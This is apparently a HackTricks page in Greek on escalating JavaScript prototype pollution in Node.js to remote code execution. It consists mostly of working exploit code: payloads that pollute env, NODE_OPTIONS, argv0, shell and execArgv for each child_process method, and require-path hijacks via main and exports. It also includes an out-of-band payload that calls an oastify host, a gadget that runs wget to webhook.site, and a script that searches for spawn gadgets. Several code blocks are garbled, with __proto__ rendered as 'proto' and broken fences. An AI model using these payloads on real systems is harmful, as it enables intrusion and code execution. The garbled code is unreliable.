Prototype Pollution to RCE

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Ευάλωτος Κώδικας

Φανταστείτε έναν πραγματικό JS που χρησιμοποιεί κάποιον κώδικα όπως ο παρακάτω:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE μέσω μεταβλητών περιβάλλοντος

Το PP2RCE σημαίνει Μόλυνση Πρωτοτύπου προς Εκτέλεση Απομακρυσμένου Κώδικα (Remote Code Execution).

Σύμφωνα με αυτό το άρθρο, όταν ένα διεργασία εκκινείται με κάποια μέθοδο από το child_process (όπως fork ή spawn ή άλλες) καλείται η μέθοδος normalizeSpawnArguments η οποία είναι ένα εργαλείο μόλυνσης πρωτοτύπου για τη δημιουργία νέων μεταβλητών περιβάλλοντος:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Ελέγξτε αυτόν τον κώδικα μπορείτε να δείτε ότι είναι δυνατόν να δημιουργήσετε δηλητήριο στο envPairs απλά με το μολύνοντας το γνώρισμα .env.

Δηλητηρίαση __proto__

Σημειώστε ότι λόγω του τρόπου λειτουργίας της συνάρτησης normalizeSpawnArguments από τη βιβλιοθήκη child_process του node, όταν κάτι καλείται για να ορίσει μια νέα μεταβλητή περιβάλλοντος για τη διαδικασία, απλά χρειάζεται να μολύνετε οτιδήποτε. Για παράδειγμα, αν κάνετε __proto__.avar="valuevar" η διαδικασία θα εκκινηθεί με μια μεταβλητή που ονομάζεται avar με τιμή valuevar.

Ωστόσο, για να είναι η μεταβλητή περιβάλλοντος η πρώτη πρέπει να μολύνετε το γνώρισμα .env και (μόνο σε μερικές μεθόδους) αυτή η μεταβλητή θα είναι η πρώτη (επιτρέποντας την επίθεση).

Γι' αυτό το NODE_OPTIONS δεν βρίσκεται μέσα στο .env στην ακόλουθη επίθεση.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Δηλητηρίαση του constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE μέσω μεταβλητών περιβάλλοντος + γραμμή εντολών

Ένα παρόμοιο φορτίο με το προηγούμενο με μερικές αλλαγές προτάθηκε στο συγκεκριμένο άρθρο. Οι κύριες διαφορές είναι:

  • Αντί να αποθηκεύει το φορτίο nodejs μέσα στο αρχείο /proc/self/environ, το αποθηκεύει μέσα στο argv0 του /proc/self/cmdline.

  • Στη συνέχεια, αντί να απαιτεί μέσω του NODE_OPTIONS το αρχείο /proc/self/environ, απαιτεί το /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Αλληλεπίδραση με DNS

Χρησιμοποιώντας τα παρακάτω payloads είναι δυνατόν να καταχραστείτε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσετε αν λειτούργησε με αλληλεπίδραση με DNS:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ή, για να αποφύγετε τα WAFs που ζητούν το domain:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

Ευπάθεια PP2RCE στις λειτουργίες child_process

Σε αυτήν την ενότητα θα αναλύσουμε κάθε λειτουργία από το child_process για να εκτελέσουμε κώδικα και να δούμε αν μπορούμε να χρησιμοποιήσουμε κάποια τεχνική για να αναγκάσουμε αυτήν τη λειτουργία να εκτελέσει κώδικα:

exec εκμετάλλευση
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile εκμετάλλευση

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

Για το **`execFile`** να λειτουργήσει **ΠΡΕΠΕΙ να εκτελέσει το node** για τις NODE\_OPTIONS να λειτουργήσουν.\
Αν **δεν** εκτελεί **node**, πρέπει να βρείτε πως θα **τροποποιήσετε την εκτέλεση** του τι κι αν εκτελεί **με μεταβλητές περιβάλλοντος** και να τις ορίσετε.

Οι **άλλες** τεχνικές **λειτουργούν** χωρίς αυτήν την απαίτηση επειδή είναι **δυνατό να τροποποιήσετε** **τι εκτελείται** μέσω της μόλυνσης πρωτοτύπου. (Σε αυτήν την περίπτωση, ακόμα κι αν μπορείτε να μολύνετε το `.shell`, δεν θα μολύνετε αυτό που εκτελείται).

</details>

<details>

<summary><code>fork</code> εκμετάλλευση</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn εκμετάλλευση

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)

</details>

<details>

<summary><strong><code>execFileSync</code> εκμετάλλευση</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync εκμετάλλευση

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

</details>

<details>

<summary><strong><code>spawnSync</code> εκμετάλλευση</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Εξαναγκασμός Spawn

Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε τη λειτουργικότητα ενός gadget που καλεί το spawn πρέπει να είναι παρών (όλες οι μέθοδοι του child_process που χρησιμοποιούνται για να εκτελέσουν κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν μέρος του κώδικα, αλλά τι γίνεται αν ο κώδικας δεν το καλεί.

Έλεγχος ενός διαδρόμου αρχείου require

Σε αυτό το άλλο άρθρο, ο χρήστης μπορεί να ελέγξει τον διαδρόμο αρχείου όπου θα εκτελεστεί ένα require. Σε αυτό το σενάριο, ο επιτιθέμενος χρειάζεται απλά να βρει ένα αρχείο .js μέσα στο σύστημα που θα εκτελέσει μια μέθοδο spawn όταν εισαχθεί. Μερικά παραδείγματα κοινών αρχείων που καλούν μια συνάρτηση spawn κατά την εισαγωγή τους είναι:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • Βρείτε περισσότερα αρχεία παρακάτω

Το ακόλουθο απλό σενάριο θα αναζητήσει κλήσεις από child_process χωρίς καμία προσθήκη (για να αποφευχθεί η εμφάνιση κλήσεων μέσα σε συναρτήσεις):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Ενδιαφέροντα αρχεία που βρέθηκαν από το προηγούμενο script
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Ορισμός διαδρομής απαιτούμενου αρχείου μέσω της ρύπανσης του πρωτοτύπου

Η προηγούμενη τεχνική απαιτεί τον έλεγχο του χρήστη στη διαδρομή του αρχείου που θα απαιτηθεί. Αλλά αυτό δεν ισχύει πάντα.

Ωστόσο, αν ο κώδικας πρόκειται να εκτελέσει ένα αίτημα require μετά τη ρύπανση του πρωτοτύπου, ακόμη κι αν δεν ελέγχετε τη διαδρομή που θα απαιτηθεί, μπορείτε να αναγκάσετε μια διαφορετική χρησιμοποιώντας τη ρύπανση του πρωτοτύπου. Έτσι, ακόμη κι αν η γραμμή κώδικα είναι όπως require("./a_file.js") ή require("bytes") θα απαιτήσει το πακέτο που ρυπανθήκατε.

Συνεπώς, αν ένα αίτημα require εκτελείται μετά τη ρύπανση του πρωτοτύπου και χωρίς συνάρτηση spawn, αυτή είναι η επίθεση:

  • Βρείτε ένα .js αρχείο μέσα στο σύστημα που όταν απαιτηθεί θα εκτελέσει κάτι χρησιμοποιώντας το child_process

  • Αν μπορείτε να μεταφορτώσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορείτε να μεταφορτώσετε ένα αρχείο σαν αυτό

  • Ρυπαίνετε τις διαδρομές για να αναγκάσετε την απαίτηση του .js αρχείου που θα εκτελέσει κάτι με το child_process

  • Ρυπαίνετε το environ/cmdline για να εκτελέσετε αυθαίρετο κώδικα όταν καλείται μια συνάρτηση εκτέλεσης child_process (δείτε τις αρχικές τεχνικές)

Απόλυτη απαίτηση

Αν η απαιτούμενη απαίτηση είναι απόλυτη (require("bytes")) και το πακέτο δεν περιέχει το κύριο στο αρχείο package.json, μπορείτε να ρυπάνετε το χαρακτηριστικό main και να κάνετε την απαίτηση να εκτελέσει ένα διαφορετικό αρχείο.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Σχετική απαίτηση - 1

Εάν φορτωθεί ένα σχετικό μονοπάτι αντί για ένα απόλυτο μονοπάτι, μπορείτε να κάνετε τον κόμβο να φορτώσει ένα διαφορετικό μονοπάτι:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Σχετική απαίτηση - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### Σχετική ανάγκη - 3

Παρόμοια με το προηγούμενο, αυτό βρέθηκε στο συγκεκριμένο άρθρο.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

Συσκευές VM

Στην εργασία https://arxiv.org/pdf/2207.11171.pdf αναφέρεται επίσης ότι ο έλεγχος του contextExtensions από μερικές μεθόδους της βιβλιοθήκης vm θα μπορούσε να χρησιμοποιηθεί ως συσκευή. Ωστόσο, όπως και οι προηγούμενες μέθοδοι child_process, έχει διορθωθεί στις πιο πρόσφατες εκδόσεις.

Διορθώσεις & Απροσδόκητες προστασίες

Παρακαλώ, σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί εάν το γνώρισμα ενός αντικειμένου που προσπελαύνεται είναι απροσδιόριστο. Εάν στον κώδικα αυτό το γνώρισμα έχει οριστεί μια τιμή, δεν θα μπορείτε να το αντικαταστήσετε.

Τον Ιούνιο του 2022 από αυτή την δέσμευση η μεταβλητή options αντί για {} είναι ένα kEmptyObject. Αυτό εμποδίζει τη ρύπανση πρωτοτύπου από το να επηρεάσει τα γνωρίσματα των options για να προκαλέσει RCE. Τουλάχιστον από την έκδοση v18.4.0 αυτή η προστασία έχει εφαρμοστεί, και επομένως οι εκμεταλλεύσεις spawn και spawnSync που επηρεάζουν τις μεθόδους δεν λειτουργούν πλέον (εάν δεν χρησιμοποιούνται options!).

Σε αυτή τη δέσμευση η ρύπανση πρωτοτύπου του contextExtensions από τη βιβλιοθήκη vm επίσης διορθώθηκε κάπως ορίζοντας τις επιλογές σε kEmptyObject αντί για {}.

Άλλες Συσκευές

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated